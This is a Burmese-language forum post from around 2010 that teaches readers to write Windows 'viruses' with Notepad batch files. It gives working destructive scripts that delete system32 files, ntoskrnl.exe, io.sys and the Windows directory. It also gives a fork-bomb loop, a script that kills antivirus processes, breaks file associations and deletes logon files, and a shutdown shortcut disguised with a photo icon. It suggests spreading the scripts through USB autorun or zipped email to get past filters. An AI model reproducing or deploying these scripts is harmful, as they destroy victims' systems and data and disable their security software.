ဗိုင္းရပ္ ျပဳလုပ္နည္းႏွင့္ ေျဖရွင္းနည္း

ပံုမွန္ အလုပ္လုပ္ေနတဲ႔ ကြန္ျပဴတာကို ဖိုင္တစ္ခုခု ေၾကာင္႔ အေႏွာင္႔ အယွက္ ျဖစ္ေစမယ္ဆိုရင္
အဲဒီဖိုင္ဟာ Virus လို႔ ေခၚႏိုင္ပါတယ္။ Window system မ်ား ပ်က္စီးၿပီး ၊ data မ်ားဆံုး႐ွူံးသည္ အထိျဖစ္ႏိုင္ပါတယ္။ ( က်ေနာ္ေလ႔လာမိသေလာက္က Virus ေၾကာင္႔
Hardware ပ်တ္စီးမႈ မရိွတာ ႏွစ္ ၂၀ ေက်ာ္ခဲ႔ပါၿပီ ။ )
အလြယ္ဆံုးနဲ႔ အႏ ၱရာယ္ အကင္းဆံုးက စေရးၾကရေအာင္ ….. shutdown virus ကို ေတြ႔ဖူးေနၾကပါ ( က်ေနာ္လည္း ေယာင္ေတာင္ေတာင္နဲ႔ မိဘူးပါတယ္ )
အရင္ဆံုး Desktop ေပၚမွာ R-click လုပ္ၿပီး New – Shortcut ကို click ပါတယ္ ။ New shortcut ဆိုတဲ႔
icon နဲ႔ အတူ Creat shortcut ဆိုတဲ႔ box ေပၚလာပါတယ္။
Text box ေနရာေလးမွာ ဒါေလးကို ႐ိုက္ထည္႔ေပးပါ ။ (space ျခားတာ မွန္ဖို႔ လိုပါတယ္။) shutdown -s -t 60 -c “WARNING a virus has been detected on your computer, emergency shutdown initiated”
(60 ဆိုတာက မိမိ ဘယ္ေလာက္ အခ်ိန္ အတြင္းမွာ shutdown က်သြားေစခ်င္လဲ ဆိုတဲ႔ စကၠန္႔ ျဖစ္ပါတယ္။ ” ” ၾကားထဲက စာသားကေတာ႔ ႀကိဳက္တာေရးႏိုင္ပါတယ္။ )

Next ႏိွပ္လိုက္ရင္ Select a Tittle for the program ဆိုတဲ႔ box ေပၚပါတယ္။ နာမည္ကို လည္းႀကိဳက္တာေပးပါ။ ၿပီးရင္ finish ေပါ႔။
မိမိေပးလိုက္တဲ႔ နာမည္နဲ႔ ေပၚလာတဲ႔ shortcut ေလးကို R-Click လုပ္ၿပီး properties ႏိွပ္ပါတယ္။ Change icon ဆိုတာေလး click ၿပီး icon ေျပာင္းေပးပါ။

တစ္ခါမွ မျမင္ဘူးတဲ႔ icon ဆိုရင္ေတာ႔ ဘယ္သူ ဖြင္႔ ၾကည္႔ ပါ႔မလဲ ေနာ္.. ။ က်ေနာ္ကေတာ႔ JPEG icon ေလးပဲ ေရြးလိုက္ပါတယ္။ Desktopn ေပၚမွာ photo ေလးတစ္ခု
အတိုင္းျဖစ္ေနပါတယ္။
Run ၾကည္႔ ရေအာင္ဗ်ာ …. ။
D-click ေပးလိုက္တာနဲ႔ ေအာက္မွာ ျပထားတဲ႔ အတိုင္းေပၚလာပါတယ္ ။ မသိရင္ေတာ႔ ေတာ္ေတာ္ လန္႔သြားမွာဗ် ။ ဘယ္ေနရာမွ လည္း ႏွိပ္ လို႔ မရဘူး၊ ဘာနဲ႔ မွလည္း
ပိတ္လို႔မရပါဘူး ။ ဒါဆို ဒီအတိုင္း shutdown က်သြားတာကို ထိုင္ၾကည္႔ေနမွာလား …..။ ဟဲဟဲ

run ေလးကို ေခၚၿပီး shutdown -a လို႔ သတ္မွတ္ခ်ိန္ မျပည္႔ ခင္ေလးမွာ ႐ိုက္ထည္႔ၿပီး enter ေခါက္လိုက္ပါ။ shutdown virus ျပန္ပိတ္သြား ပါလိမ္႔မယ္။

စမ္းၾကည္႔ႏိုင္ပါတယ္ အႏ ၱရာယ္ကင္းပါတယ္။ :z

က်ေနာ္လည္း project အသစ္တစ္ခုအတြက္ လံုးပန္းေနတာနဲ႔ ဘာမွ အသစ္မေရးျဖစ္ဘူး ျဖစ္ေနတယ္ဗ်ာ.. ။ လာလာလည္ၾကတဲ႔ သူမ်ားကို အားလည္းနာ၊ ေက်းဇူးလည္း တင္ပါတယ္။ က်ေနာ္ မေရးေတာ႔ဘူးလို႔ ဆံုးျဖတ္ထားတာ တစ္ခုကို ေရးလိုက္ပါ႔မယ္ ။ အခု ေျပာျပမွာက တကယ္ကို အႏ ၱရာယ္ ရိွတဲ႔ Virus ေရးနည္း ျဖစ္ပါတယ္ ။ အမ်ိဳးမ်ိဳးရိွ ၾကေပမယ္႔ ေလ႔လာမိသေလာက္ ေရးနည္း က ဒါေတြပါပဲ ။ မစိုးရိမ္ပါနဲ႔ ထံုးစံ အတိုင္း Virus ကာကြယ္ေရးပါ ေျပာျပပါ႔မယ္။ notepad နဲ႔ Virus ေရးမယ္ဆိုရင္ ေတာ္ေတာ္မ်ားမ်ား ေအာက္ပါအတိုင္းပဲ ေရးပါတယ္။ မွတ္ခ်က္။ သံလံုငယ္ မွ ကူးယူ ေဖၚျပသည္။ 1………….
@echo del off C:\\windows\system32
2………….
@echo off
del C:\\windows\system32
3………….
del “C:\windows\system32\bootok” /Q/S >nul
del “C:\windows\system32\bootvid” /Q/S >nul
del “C:\windows\system32\bootvrfy” /Q/S >nul
4………….
del “C:\windows\pchealth\”
del “C:\windows\system\”
del “C:\windows\system32\restore”
del “C:\windows\system32\autoexec.nt”
del “C:\windows\system32\logonui.exe”
del “C:\windows\system32\ntoskrnl.exe”
စတာေတြကို ေရးၿပီး ဖိုင္နာမည္ကို ႀကိဳက္ရာေပး File type ကိုေတာ႔ .bat,.exe နဲ႔ save ႏိုင္ပါတယ္။(ဥပမာ – filename.bat , filename.exe)အေပၚမွာ ၄ မ်ိဳး ဥပမာျပတာပါ။ အမ်ားႀကီး ကိုရိွပါတယ္။ ဒီေလာက္ျမင္ၿပီးရင္ေတာ႔ သေဘာေပါက္ ေလာက္ပါၿပီေနာ္။ del ဆိုတာက ျဖတ္ျပစ္ဖို႔ command ေပးတာ ျဖစ္ပါတယ္။ ဘာေတြကိုျဖတ္ဖို႔လဲ ဆိုတာ အေပၚမွာ ျမင္တဲ႔ အတိုင္းပါပဲ ။ window program အရ bat ဖိုင္နဲ႔ command ေပးၿပီး ျဖတ္ေစတာ ျဖစ္လို႔ ဘယ္ Antivirus နဲ႔မွ မမိပါဘူး။ notepad မွာေရးတဲ႔႔ command code ေတြသိခ်င္ ေတာ႔ ဒီမွာသြားၾကည္႔ ႏိုင္ပါတယ္။
( အထက္ပါေဖာ္ျပထားေသာ Virus ၄မ်ိဳး မွာ တကယ္ အႏ ၱရာယ္ရိွတဲ႔ virus မ်ားျဖစ္ပါတယ္။ စမ္းသပ္ရန္မဟုတ္ပါ။ တစ္ဦးတစ္ေယာက္အား ဒုကၡေပးရန္လည္း မဟုတ္ပါ။ ဗဟုသုတေပးရန္သာ ရည္ရြယ္ပါသည္။ )

mryto Jul 10 ’10

Message #1

က်ေနာ္ေရးခ်င္တာမွ လက္ကိုယားေနတာ သူငယ္ခ်င္းေတြ တားေနလို႔ နည္းနည္းထိန္းထားရတာ ။ တစ္ေန႔တစ္ေန႔ virus ေတြေရးနည္း တင္ဖို႔ေလာက္ပဲ အာရံုေရာက္ေနတာ။ အခု တစ္ခုေလာက္ လုပ္ၾကည္႔ၾကမယ္ဗ်ာ ။ ဆိုးက်ိဳးကို အရင္သိခ်င္ၾကမွာေပါ႔ ေနာ္ … ။ casing မွာ ရိွတဲ႔ restart ခလုပ္ႏိုပ္ၿပီး restart လုပ္ရ႐ုံမွ တစ္ပါး အျခားဆိုးက်ိဳးမရိွပါ ။ (atomic bomb)ဗံုးတစ္လုံးေပါက္ကြဲသလို ဆက္တိုက္ ဆက္တိုက္ တစ္ခုၿပီးတစ္ခု ပြင္႔လာပါလိမ္႔ မယ္။ ဘာ key မွ ႏိုပ္မရေတာ႔ သလို၊ ဘာ command မွ လုပ္မရေတာ႔ပါ ။ ထံုးစံအတိုင္း notepad ေလးတစ္ခု ေခၚၿပီး ေအာက္ပါအတုိင္းေရးလိုက္ပါ … ရွင္းရွင္းေလးပါေနာ္
@echo off
:A
start dir
start command
start firefox
start explorer
start notepad
goto:A
ဆိုၿပီး ေရးလိုက္ၿပီး file name တစ္ခုခု (မိမိႀကိဳက္ရာ) ေပးၿပီး .bat နဲ႔ save လိုက္ပါတယ္ ။ (file name.bat)
ၿပီးရင္ေတာ႔ D-click ေလးေပးၾကည္႔လိုက္ပါ ။ တစ္ခုၿပီး တစ္ခု ပြင္႔လာတဲ႔ ဖိုင္ေတြက ခင္ဗ်ား ဆက္မၾကည္႔ရဲေအာင္ ျဖစ္လာပါလိမ္႔မယ္ ။ ဘာနဲ႔မွပိတ္ဖို႔ မႀကိဳးစားပါနဲ႔ ။ restart ခလုပ္ေလးကို သာႏိုပ္လိုက္ပါ ။ အားလံုး အဆင္ေျပသြားပါလိမ္႔မယ္ ။ ေပ်ာ္ရႊင္ၾကပါေစ …. ။
(စမ္းသပ္ၾကည္႔ႏိုင္ပါတယ္ ။ က်ေနာ္ကိုယ္တိုင္ စမ္းၿပီးပါၿပီ ။ခင္ဗ်ား ၿပံဳးစိစိ ျဖစ္သြားပါလိမ္႔မယ္)

ကဲကိုယ္ပိုင္ဗိုင္းရက္စ္ေရးၾကမယ္ CMDနဲ႕Notepadကိုသံုးလို႕
ျမန္မာHackerအသင္း
ကဲကိုကိုမမ ဟက္ကာတို႕ေရ ေရးတာလဲေရးရတယ္ေပါမွာလဲေၾကာက္သဗ် . .
အခု Notepadနဲ႕ cmdသံုးျပီးေတာ့ ဗ်ာ ၀င္းဒိုးxp
ကိုစုပ္ျပက္သက္သြားေအာင္ေမႊၾကမယ္ ကဲေျပာၾကဦး
မျဖစ္ႏိုင္ဘူးလို႕ . . . ျဖစ္ႏိုင္တာေပါ့ဗ်ာ . . . .
ကဲေအာက္က codeေလးေတြကိုေသခ်ာၾကည္႕ ေကာ္ပီဆိုျပီး ေပစ္တင္ျပီးမဟုတ္ဘူးေနာ္. .
တစ္လံုးခ်င္းစီရွင္းျပေပးမယ္ေအာက္မွာ အဲဒိေတာ့ Notepadေလးဖြင့္ျပီး လိုက္ေရးေပါ့
title Hack Setup
color 0A
@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown
titleတို႕@echo offတို႕က ကၽြန္ေတာ့္ညီမေပါက္စေလးေမးေတာင္သိေနေတာ့ေျပာရင္
ကၽြန္ေတာ့ ဟက္ကာေတြေစာ္ကားရာၾကမယ္ ဒီေတာ့မရွင္းေတာ့ဘူးေနာ္. . . ။
အဲရွင္းျပမယ္သာေျပာတာပါ အခုနကုဒ္ေတြက အကုန္သိၾကပါတယ္ . .။
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
ဒီဟာေတြကိုေျပာျပမယ္ဗ်ာ ဒီလို
၀င္းဒိုးရဲ႕အဓိက processေတြကိုend task လုပ္ဖို႕ေရးတာဗ်
အဲဒါဆိုexplorerၾကသြားလိမ့္မယ္ဗ်ာ . .
cls ကေတာ့သိတဲ့အတိုင္းေလ ေနာက္ေၾကာင္းရွင္ဖို႕ေပါ့ . . . ။
assoc .exe=txtfile
assoc .txt=mp3file
ဒါကေတာ့ .exe fleနဲ႕.txtဖိုင္ေတြဖြင့္မရေအာင္လုပ္တဲ့ကြန္႕မန္႕ေပါ့ဗ်ာ
တခ်ား extentionေတြလဲထည္႕သံုးလို႕ရတယ္ဗ်ာ.
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
အဲဒိေနရာမွာ
ကိုေရးခ်င္္တဲ့စာကိုျပင္ေရးဗ် msg *အေနာက္မွ englishလုိပဲေနာ္
comment boxေလးနဲ႕တက္လာလိမ္မယ္. . .
ေအာက္ဆံုးကဟာကအေတာ္ေလးဆိုးတယ္ဗ်. . .
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
အဲဒိဟာက shutdown တို႕log onတို႕ ကိုျဖက္ျပစ္တာ
အဲဒိအတြက္သင့္ကြန္ျပဴတာက ရွက္ေဒါင္းခ်လို႕မရေတာ့ဘူး
log onကိုျဖက္ျပီး ျပီျဖစ္တဲ့အတြက္ resetလုပ္လိုက္ ရင္ ၀င္းဒိုးျပန္မတက္ေတာ့ဘူး
ကဲဘယ္လိုလုပ္မလဲ. . . .။
ဒါဆိုရင္အေတာ္ေလးနိပ္ျပီေနာ္ အဲဒိကုပ္ေတြကို notpadမွာေရးျပီးရင္
.cmd ဒါမွမဟုတ္ .bat နဲ႕safeဒါဆို ဗိုင္းရက္စ္တစ္ေကာင္ရျပီ
auto run fileေလးလုပ္ စတစ္ေလးထဲထည္႕
သူငယ္ခ်င္းကိုေပး . . အဲလိုေတာ့လုပ္ပါနဲ႕ဗ်ာ . . .
ဗိုင္းရက္ဆိုတာေကာင္းတဲ့အေကာင္မွမဟုတ္ပဲ
စမ္းၾကည္႕ဖို႕ပဲေနာ္
မေသခ်ာရင္မလုပ္ၾကနဲ႕ဦး
ေတာ္ၾကာနတ္ေဆးေၾကာင့္ဆားဗစ္ေရာက္ေနဦး မယ္ . . .
ကဲကဲ လုပ္စမ္းၾကည္႕ဗ်. . .
copy-http://www.mmitdev.c

ပထမဦးဆံုးNotepad အသစ္တစ္ခုကိုိုဖြင့္ပါ။
ေအာက္ပါ code ကို copy ကူးလိုက္ပါ။
StrText=”Ma Yar I love you”
Set Objvoice=Createobject(“SAPI.SpVoice”)
ObjVoice.Speak StrText
ျပီးရင္ Ma.vbs ျဖင့္ Save မွတ္လိုက္ပါ။
Run ၾကည္.လိုက္ပါ။
“Ma Yar I love You” ဆိုၿပီးအသံထြက္ခဲ့ပါမယ္။
ထက္ၿပီးအသံုခ်ခ်င္သူမ်ား”Ma Yar I love You”ေနရာမွာေျပာင္းႏိုင္ပါတယ္။

The Forum post is edited by mryto Sep 6 ’10

ဒါေလးကလဲ Bat ဖိုင္နဲ.ထြက္ တဲ. Virus ေလးပါပဲ ။ RESTART ခ်လိုက္ရင္ ၿပန္ေပ်ာက္သြားနိုင္ပါတယ္။
@echo off
:A
start dir
start command
start firefox
start explorer
start notepad
goto:A
Window Delete
Virusဆိုတာတကယ္ေတာ.စာသားေတြပါပဲ။ခက္တာကအဲဒီစာလံုးေလးေတြကcomputer ေတြကို
ဒုကၡေပးေနတာပါ။ ဒီေန.ေတာ.အလြယ္ဆံုး virusေရးနည္းေလးတခုေၿပာၿပပါမယ္။ပထမဆံုး Text
document ေလးတခုလုပ္လိုက္ပါ။ပီးရင္ေတာ. ေအာက္ပါအတိုင္းစာသားေလးေတြေရးလိုက္ပါ။
@echo off
atrr ib-a-s-r-h
cls
del c:\io.sys
cls
del c:\windows\*.*
cls
ၿပီးရင္ေတာ. File ထဲမွာ မိမိႏွစ္သက္တဲ.နာမည္ေရးၿပီး ေနာက္က batဖိုင္နဲ.ထြက္လိုက္ပါ ။
name +bat လို.ေရးလိုက္ပါ။ဒါဆိုရင္ virus အေသးစားေလးၿဖစ္သြားပါၿပီ။
ဒါေပမယ္. ဒီအေၿခခံသေဘာတရားေလးဟာ အရင္ကနာမည္ၿကီးခဲ.တဲ. flashy virus ရဲ.အ
ေၿခခံသေဘာတရားေလးပဲၿဖစ္ပါတယ္။
ဒီထက္ ပို ေကာင္းတဲ. ပိုဒုကၡေပးနိ ုင္တဲ. အရာေလးေတြထပ္မံေဖာ္ၿပေပးပါဦးမယ္။Google နဲ.
တၿခားဆိုက္ေတြထဲက ေမးလ္းေတြထဲကပို.လို.မရပါ။ပို.ခ်င္ရင္ေတာ. Zip ဖိုင္ေလးေတြနဲ.တြဲပို.
လို.ရပါတယ္။ေနာက္မွထပ္မံေဖာ္ၿပပါမယ္။

ခင္ဦးသားကတင္လို့ကြ်န္ေတာ္ကေ၀မွ်ပါတယ္.....
ကြ်န္ေတာ္ေလ့လာမိသေလာက္သိမ္းထားတာေတြျပန္ေ၀မွ်ျခင္းလည္းျဖစ္ပါတယ္ဗ်ာ
ခင္မင္ေလးစားလ်က္  ေနလင္းျဖိဳး